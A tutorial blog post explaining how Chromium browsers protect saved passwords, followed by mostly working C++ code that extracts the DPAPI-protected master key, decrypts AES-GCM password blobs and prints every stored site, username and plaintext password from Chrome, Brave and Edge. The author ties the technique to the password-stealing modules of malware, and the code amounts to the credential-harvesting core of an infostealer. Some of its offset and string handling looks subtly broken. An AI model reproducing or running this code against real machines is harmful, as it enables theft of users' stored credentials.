Introduction
In this article, I will discuss the encryption and decryption process of Chromium, and then I will provide some C++ code to retrieve encrypted passwords from a computer and decrypt them. First, I will give a brief overview of how the process works before moving on to the code.
Many malware programs have a module or functionality specifically designed to steal passwords and cookies and send that data back to a CnC server. In this article, we will focus primarily on the password decryption process used by these malwares. However, it’s important to note that this process is essentially the same across all Chromium browsers version 80 or higher, and any encrypted data in Chrome can be decrypted using the same method.
Overview
Previously, the Chrome process used the Windows Data Protection API (DPAPI) to encrypt all locally stored data on a Windows system. However, in newer versions of Chrome (version 80 or higher), the AES-GCM algorithm is now used to store sensitive data locally. The Windows Data Protection API is only used to encrypt the and derive symmetric key used by AES. Here’s a brief overview of the entire process for Chrome:
-
When a user chooses to save their password, Chrome generates a unique key for that password, which is then encrypted using the
CryptProtectData
function from DPAPI. -
Before the key is saved in the Local State file, the prefix “DPAPI” is inserted at the beginning of the key.
"encrypted_key":"RFBBUEk.........Od5n"
“RFBBUEk” is base64 decoded to DPAPI
-
The master key is then encoded in base64 and stored in the Local State file.
-
Sensitive data is encrypted using AES-GCM, which is authenticated encryption, meaning it provides both confidentiality and integrity of data.
-
After the encryption process of user data, the data is then stored in a Login Data SQLite file in the logins table. Here are some of the fields of interest:
Decryption
With the encryption process out of the way, here are some things we need to do to decrypt data/passwords:
-
Retrieve the master key from the Local State file.
-
Unprotect the master key. Remember, the initial process used
CryptProtectData
, so we will useCryptUnprotectData
. -
Implement a function for the AES-GCM decryption process.
-
Open an SQL connection to the Login Data file and retrieve the fields we want. In this case, the only encrypted field in the image above is the
password_value
field.
Implementation
1. Retrieve the master key
DATA_BLOB* GetMasterKey(BROWSER browser)
{
// Retrieveing the master key from the Local State File
std::string localState = FileIO::GetLocalState(browser);
std::string localStateData = FileIO::ReadFileToString(localState);
std::string MasterString = ParseMasterString(localStateData);
// Unprotect the master key.
return UnportectMasterKey(MasterString);
}
I have a few pointers here regarding the FileIO namespace. It contains only a few functions, such as reading a file to a string, getting app data, and getting a database file. To keep things short, I won’t include the code snippets here, but you can find everything in the GitHub link.
Also, I have a ReadFileToString
function that reads the entire local state file and manually searches for the key with PraseMasterString
. This is definitely not the best way to solve the problem, but it’s simple enough to keep this example short. Realistically, we would want to use a small JSON library to parse the necessary data since it is more robust and reliable to do it that way.
2. Unprotect Master Key Function
DATA_BLOB* UnportectMasterKey(std::string MasterString)
{
std::vector<unsigned char> binaryKey;
DWORD binaryKeySize = 0;
// Decoding the base64 encoded string to binary data.
if (!CryptStringToBinaryA(MasterString.c_str(), 0, CRYPT_STRING_BASE64, NULL, &binaryKeySize, NULL, NULL))
{
std::cout<< "CryptStringToBinaryA [1] : Failed to convert BASE64 private key. \n";
return nullptr;
}
binaryKey.resize(binaryKeySize);
if (!CryptStringToBinaryA(MasterString.c_str(), 0, CRYPT_STRING_BASE64, binaryKey.data(), &binaryKeySize, NULL, NULL))
{
std::cout<< "CryptStringToBinaryA [2] : Failed to convert BASE64 private key. \n";
return nullptr;
}
// Calling CryptUnprotectData to unprotect the master key.
// Out DATA_BLOB will hold the key we need with its length.
DATA_BLOB in;
DATA_BLOB *out = new DATA_BLOB;
in.pbData = binaryKey.data() + 5; // Remove DPAPI
in.cbData = binaryKeySize - 5;
if (!CryptUnprotectData(&in, NULL, NULL, NULL, NULL, 0, out))
{
std::cout<< "CryptUnprotectData [1] : Failed to convert BASE64 private key. \n";
return nullptr;
}
return out;
}
As we know, the key was encoded with base64 and prepended with “DPAPI” during the initial encryption process. Therefore, a few things that we need to do in this function are to call the Windows function CryptStringToBinaryA
with the CRYPT_STRING_BASE64
to decode our string.
After that, we used in.pbData = binaryKey.data() + 5
. The “+5” is used so that we can obtain only the data after the prepended “DPAPI” string.
3. AES-GCM Decryption
std::string AESDecrypter(std::string EncryptedBlob, DATA_BLOB MasterKey)
{
BCRYPT_ALG_HANDLE hAlgorithm = 0;
BCRYPT_KEY_HANDLE hKey = 0;
NTSTATUS status = 0;
SIZE_T EncryptedBlobSize = EncryptedBlob.length();
SIZE_T TagOffset = EncryptedBlobSize - 15;
ULONG PlainTextSize = 0;
std::vector<BYTE> CipherPass(EncryptedBlobSize); // hold the passwords ciphertext.
std::vector<BYTE> PlainText;
std::vector<BYTE> IV(IV_SIZE); // Will hold initial vector data.
// Parse iv and password from the buffer using std::copy
std::copy(EncryptedBlob.data() + 3, EncryptedBlob.data() + 3 + IV_SIZE, IV.begin());
std::copy(EncryptedBlob.data() + 15, EncryptedBlob.data() + EncryptedBlobSize, CipherPass.begin());
// Open algorithm provider for decryption
status = BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_AES_ALGORITHM, NULL, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCryptOpenAlgorithmProvider failed with status: " << status << std::endl;
return "";
}
// Set chaining mode for decryption
status = BCryptSetProperty(hAlgorithm, BCRYPT_CHAINING_MODE, (UCHAR*)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCryptSetProperty failed with status: " << status << std::endl;
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return "";
}
// Generate symmetric key
status = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, NULL, 0, MasterKey.pbData, MasterKey.cbData, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BcryptGenertaeSymmetricKey failed with status: " << status << std::endl;
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return "";
}
// Auth cipher mode info
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO AuthInfo;
BCRYPT_INIT_AUTH_MODE_INFO(AuthInfo);
TagOffset = TagOffset - 16;
AuthInfo.pbNonce = IV.data();
AuthInfo.cbNonce = IV_SIZE;
AuthInfo.pbTag = CipherPass.data() + TagOffset;
AuthInfo.cbTag = TAG_SIZE;
// Get size of plaintext buffer
status = BCryptDecrypt(hKey, CipherPass.data(), TagOffset, &AuthInfo, NULL, 0, NULL, NULL, &PlainTextSize, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCryptDecrypt (1) failed with status: " << status << std::endl;
return "";
}
// Allocate memory for the plaintext
PlainText.resize(PlainTextSize);
status = BCryptDecrypt(hKey, CipherPass.data(), TagOffset, &AuthInfo, NULL, 0, PlainText.data(), PlainTextSize, &PlainTextSize, 0);
if (!BCRYPT_SUCCESS(status))
{
std::cout << "BCrypt Decrypt (2) failed with status: " << status << std::endl;
return "";
}
// Close the algorithm handle
BCryptCloseAlgorithmProvider(hAlgorithm, 0);
return std::string(PlainText.begin(), PlainText.end());
}
This was a pretty complicated function to work on, mainly because Windows’ BCrypt documentation was all over the place, especially once you get into authenticated encryption.
Before you try to understand any of it, go ahead and do a quick read on AES encryption with the GCM mode. Here’s a pretty nice comment that sums it up.
A quick overview of what we’re doing here:
-
The encrypted password field contains important data we need for decryption.
-
The first is a prepended “v10” string. I’m not really sure what it is, but it’s not important in our case, so I’m assuming it’s something that they can use as an identifier for older versions if they ever move to something different in the future.
-
The third important piece is the IV. This is a random and unique 12-byte initial vector (IV), also called a nonce.
-
Lastly, we have the authentication tag. The tag is an output of the encryption function and an input for the decryption function. It’s used to make sure the data was not tampered with.
We extract the first IV with the first call to copy
. We start added 3 because we want to skip the “v10” prefix and copy up to IV_SIZE + 3.
Similarly, with the second call to copy
, we extract ciphertext starting from 15 to the end of the string. Why 15? Because the first “v10” string is 3 bytes plus the first IV 12 bytes equals 15.
After that, we make several calls to some BCrypt functions:
-
BCryptOpenAlgorithmProvider
initializes a handle to the Windows algorithm provider. -
BCryptSetProperty
sets the properties of the algorithm we are using, so in this case, AES with GCM mode. -
BCryptGenerateSymmetricKey
The most important step is generating/deriving the key from the master key. -
Initializing the AuthInfo struct with authentication data we need like IV (nonce), IV size, tag for authentication.
-
Finally, with all that, we make two
BCryptDecrypt
calls. The first is to retrieve the size, and the second is to decrypt the data and store it in our vector.
4. Parsing the Database
All we have to do now is retrieve the data from the SQLite database Login Data and pass in the password to the AESdecrypterFunction.
void DecryptPasswordFor(BROWSER browser)
{
std::string DbPath = FileIO::GetDbPath(browser);
DATA_BLOB* MasterKey = GetMasterKey(browser);
sqlite3* db = nullptr;
std::string selectQuery = "SELECT origin_url, action_url, username_value, password_value FROM logins";
sqlite3_stmt* selectStmt = nullptr;
// Open the database file
if (sqlite3_open(DbPath.c_str(), &db) != SQLITE_OK) {
std::cerr << "Failed to open database file: " << sqlite3_errmsg(db) << std::endl;
return;
}
// Prepare the SELECT statement
if (sqlite3_prepare_v2(db, selectQuery.c_str(), -1, &selectStmt, 0) != SQLITE_OK) {
std::cerr << "Failed to prepare SELECT statement: " << sqlite3_errmsg(db) << std::endl;
return;
}
// Iterate over the rows of the logins table
while (sqlite3_step(selectStmt) == SQLITE_ROW) {
// Extract the values of the columns
const char* website = reinterpret_cast<const char*>(sqlite3_column_text(selectStmt, 0));
const char* loginUrl = reinterpret_cast<const char*>(sqlite3_column_text(selectStmt, 1));
const char* userName = reinterpret_cast<const char*>(sqlite3_column_text(selectStmt, 2));
const char* passwordBlob = reinterpret_cast<const char*>(sqlite3_column_blob(selectStmt, 3));
int passwordBlobSize = sqlite3_column_bytes(selectStmt, 3);
if (passwordBlobSize > 0) {
// Decrypt the password
std::string pass = AESDecrypter(passwordBlob, *MasterKey);
// Print the login information
std::cout << "Website: " << website << std::endl;
std::cout << "Login URL: " << loginUrl << std::endl;
std::cout << "User name: " << userName << std::endl;
std::cout << "Password: " << pass << std::endl;
}
else {
// Print a message if the password is empty
std::cout << "No password found " << std::endl;
}
}
delete MasterKey;
}
Conclusion
In this post we went quickly went over the encryption and decryption process used by Chrome to store and protect sensitive user data such as passwords. The process involves generating a unique master key, which is then encrypted using the Windows Data Protection API (DPAPI) and stored in the Local State file. Sensitive data is then encrypted using the AES-GCM algorithm and stored in the Login Data SQLite file. To retrieve and decrypt the data, the master key must be retrieved and decrypted using CryptUnprotectData, and the password value must be decrypted using an AES-GCM decryption process. This process the decryption process is common amongst chromium browsers.
But I wouldn’t say the same for my other functions in FileIO.h lol, I did try it on 3 different browsers and it works but I believe other chromium browsers store database and local state files in different locations, so that’s something to double check on.
I did experiment with on 3 different browsers and it works for those.
int main() {
std::cout << "CHROME\n\n";
DecryptPasswordFor(CHROME);
std::cout << "\n\nBRAVE\n\n";
DecryptPasswordFor(BRAVE);
std::cout << "\n\nEDGE\n\n";
DecryptPasswordFor(EDGE);
}
Here’s the full output
That’s all for this post, if you have any questions, clarification, or improvements please let me know below. I’m still in the learning process and would greatly appreciate the feedback.
Thx for reading